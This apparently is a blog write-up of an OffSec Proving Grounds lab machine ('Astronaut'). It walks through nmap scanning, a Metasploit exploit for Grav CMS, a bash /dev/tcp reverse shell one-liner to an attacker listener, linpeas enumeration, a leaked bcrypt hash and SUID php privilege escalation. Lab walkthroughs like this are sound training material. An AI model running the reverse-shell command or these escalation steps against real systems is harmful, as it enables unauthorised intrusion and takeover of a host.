> For the complete documentation index, see [llms.txt](https://strik3r.gitbook.io/strik3r-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strik3r.gitbook.io/strik3r-blog/ctfs-boxs-challenges/astronaut.md).
# Astronaut
### TL;DR
I popped open the **Astronaut** box on OffSec Proving Grounds.\
Flow: `nmap` → find HTTP → identify CMS → `searchsploit` → Metasploit exploit → get a session → upgrade to a reverse shell → local enumeration → run `linpeas` → find SUID `php7.4` → use GTFOBins technique → root.
***
## Enumeration
Start with the default reconnaissance:
```bash
nmap -sC -sV -Pn 192.168.122.12 -o nmap.txt
```
Nmap told us: port **80** open. The webroot had only a single directory (looks like a CMS). No obvious version badge.
So, we go hunting for known exploits:
```bash
searchsploit grav
```
Searchsploit returned a promising Grav CMS exploit
> Pro tip: When a CMS shows up but no version is obvious, search for common CMS names + “exploit” or use fingerprinting plugins — sometimes the theme or endpoints leak the version.
***
## Get the Foothold
Now, let's try the Metasploit module to exploit this CMS
and we got our session
From the initial session, I wanted a stable reverse shell back to my Kali box.
On Kali, spin up a listener:
```bash
nc -nlvp 9999
```
From the compromised host (via the Metasploit session), drop a reverse bash shell:
```bash
bash -c 'exec bash -i &>/dev/tcp/192.168.45.164/9999 <&1'
```
Now we have an interactive shell. Time to LPE.
***
## Local Privilege Escalation (LPE)
#### Manual enumeration
Looking for current application dir
I checked obvious places for creds and config leaks (e.g., `web.config`, site-specific YAML):
Nothing juicy in the `web.config`, but we found `admin.yaml` in the web directory.
Inside was a bcrypt hash **`$2y$10$dlTNg17RfN4pkRctRm1m2u8cfTHHz7Im.m61AYB9UtLGL2PhlJwe.`**
Nice — hashed credential — but not directly usable for `root`.
***
## Automated enumeration — linpeas to the rescue
I uploaded and ran `linpeas` to speed up LPE discovery
`linpeas` flagged multiple interesting items:
* Potential kernel CVEs (worth investigating for risky boxes)
* Several SUID binaries — very interesting
***
## Quick refresher: what is a SUID binary and why it matters?
When you see something like:
```
-rwsr-xr-x 1 root root 12345 Jan 1 12:00 /usr/bin/passwd
```
That `s` indicates the **SUID** bit. Executed by ordinary users, that binary runs **with the file owner's privileges** (often root). This makes SUID binaries valuable for privilege escalation — *if* they are misconfigured or exploitable.
**How to find SUID files:**
```bash
find / -perm -4000 2>/dev/null
```
**Common SUID escalation techniques:**
* PATH hijacking (binary calls other programs without full paths)
* LD\_PRELOAD abuse (if environment isn't sanitized)
* Leveraging legitimate utilities (e.g., `find`, `vim`, `nmap`) that support shell escapes
***
## PHP 7.4 binary with SUID
`linpeas` showed a suspicious `php7.4` binary with the SUID bit. That’s a red flag.
I checked [GTFOBins ](https://gtfobins.github.io/gtfobins/php/#suid)(the canonical source of abuse patterns for common binaries) and found an entry for `php` under SUID usage.
let’s try it on our box
And just like that — root. 🎯
> Hope you enjoyed it 😊